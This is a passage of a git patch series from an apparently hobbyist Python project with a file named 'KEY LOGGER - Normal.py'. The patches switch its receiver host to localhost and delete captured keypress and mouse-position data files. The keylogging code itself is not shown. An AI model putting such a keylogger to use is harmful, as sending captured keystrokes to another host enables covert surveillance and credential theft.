+        f.write(bytes_read)
     print(bytes_read)
     f.close()
 
diff --git a/Server/KEY LOGGER - Normal.py b/Server/KEY LOGGER - Normal.py
index 8d6bb84..818cddc 100644
--- a/Server/KEY LOGGER - Normal.py	
+++ b/Server/KEY LOGGER - Normal.py	
@@ -9,7 +9,7 @@ BUFFER_SIZE = 128 # send 4096 bytes each time step
 
 
 # the ip address or hostname of the server, the receiver
-host = "10.4.27.243"
+host = "127.0.0.1"
 # the port, let's use 5001
 port = 5001
 # the name of file we want to send, make sure it exists
diff --git a/data.txt b/data.txt
new file mode 100644
index 0000000..3410062
--- /dev/null
+++ b/data.txt
@@ -0,0 +1 @@
+c
\ No newline at end of file

From 093241d559f1abbc7ac5c3b28f47cc98a73573c8 Mon Sep 17 00:00:00 2001
From: CactiChameleon9 <daniel@oakleys.org.uk>
Date: Thu, 10 Dec 2020 10:15:29 +0000
Subject: [PATCH 5/7] Add '.gitignore'

---
 .gitignore | 2 ++
 1 file changed, 2 insertions(+)
 create mode 100644 .gitignore

diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..29e1cec
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,2 @@
+# Ignore all text files
+*.txt
\ No newline at end of file

From 2e6e60ecbf5bd04904bf391c616ea52ec81e1ea0 Mon Sep 17 00:00:00 2001
From: CactiChameleon9 <danielweb@oakleys.org.uk>
Date: Thu, 10 Dec 2020 10:18:28 +0000
Subject: [PATCH 6/7] remove all txt files

---
 Client/IP.txt     | Bin 1024 -> 0 bytes
 Client/data.txt   |   1 -
 Client/dataKP.txt |   1 -
 Client/dataKR.txt |   1 -
 Client/dataM.txt  |   1 -
 Server/IP.txt     | Bin 1024 -> 0 bytes
 Server/data.txt   |   1 -
 Server/dataKP.txt |   1 -
 Server/dataKR.txt |   1 -
 Server/dataM.txt  |   1 -
 data.txt          |   1 -
 dataM.txt         |   1 -
 12 files changed, 10 deletions(-)
 delete mode 100644 Client/IP.txt
 delete mode 100644 Client/data.txt
 delete mode 100644 Client/dataKP.txt
 delete mode 100644 Client/dataKR.txt
 delete mode 100644 Client/dataM.txt
 delete mode 100644 Server/IP.txt
 delete mode 100644 Server/data.txt
 delete mode 100644 Server/dataKP.txt
 delete mode 100644 Server/dataKR.txt
 delete mode 100644 Server/dataM.txt
 delete mode 100644 data.txt
 delete mode 100644 dataM.txt

diff --git a/Client/IP.txt b/Client/IP.txt
deleted file mode 100644
index 06d7405020018ddf3cacee90fd4af10487da3d20..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 1024
ScmZQz7zLvtFd70QH3R?z00031

diff --git a/Client/data.txt b/Client/data.txt
deleted file mode 100644
index 1c8a0e7..0000000
--- a/Client/data.txt
+++ /dev/null
@@ -1 +0,0 @@
-;
\ No newline at end of file
diff --git a/Client/dataKP.txt b/Client/dataKP.txt
deleted file mode 100644
index 32f64f4..0000000
--- a/Client/dataKP.txt
+++ /dev/null
@@ -1 +0,0 @@
-t
\ No newline at end of file
diff --git a/Client/dataKR.txt b/Client/dataKR.txt
deleted file mode 100644
index 32f64f4..0000000
--- a/Client/dataKR.txt
+++ /dev/null
@@ -1 +0,0 @@
-t
\ No newline at end of file
diff --git a/Client/dataM.txt b/Client/dataM.txt
deleted file mode 100644
index 59963fd..0000000
--- a/Client/dataM.txt
+++ /dev/null
@@ -1 +0,0 @@
-R196,606
\ No newline at end of file
diff --git a/Server/IP.txt b/Server/IP.txt
deleted file mode 100644
index 06d7405020018ddf3cacee90fd4af10487da3d20..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 1024
ScmZQz7zLvtFd70QH3R?z00031

diff --git a/Server/data.txt b/Server/data.txt
deleted file mode 100644
index 1c8a0e7..0000000
--- a/Server/data.txt
+++ /dev/null
@@ -1 +0,0 @@
-;
\ No newline at end of file
diff --git a/Server/dataKP.txt b/Server/dataKP.txt
deleted file mode 100644
index 32f64f4..0000000
--- a/Server/dataKP.txt
+++ /dev/null
@@ -1 +0,0 @@
-t
\ No newline at end of file
diff --git a/Server/dataKR.txt b/Server/dataKR.txt
deleted file mode 100644
index 32f64f4..0000000
--- a/Server/dataKR.txt
+++ /dev/null
@@ -1 +0,0 @@
-t
\ No newline at end of file
diff --git a/Server/dataM.txt b/Server/dataM.txt
deleted file mode 100644
index 59963fd..0000000
--- a/Server/dataM.txt
+++ /dev/null
@@ -1 +0,0 @@
-R196,606
\ No newline at end of file
diff --git a/data.txt b/data.txt
deleted file mode 100644
index 3410062..0000000
--- a/data.txt
+++ /dev/null
@@ -1 +0,0 @@
-c
\ No newline at end of file
diff --git a/dataM.txt b/dataM.txt
deleted file mode 100644
index 960a857..0000000
--- a/dataM.txt
+++ /dev/null
@@ -1 +0,0 @@
-L714,741
\ No newline at end of file

From 9e850f87639c5f6238671e7de494df73fa4fd205 Mon Sep 17 00:00:00 2001
From: CactiChameleon9 <daniel@oakleys.org.uk>
Date: Thu, 10 Dec 2020 16:19:04 +0000
Subject: [PATCH 7/7] Delete '.gitignore'

---
 .gitignore | 2 --
 1 file changed, 2 deletions(-)
 delete mode 100644 .gitignore

diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index 29e1cec..0000000
--- a/.gitignore
+++ /dev/null
@@ -1,2 +0,0 @@
-# Ignore all text files
-*.txt
\ No newline at end of file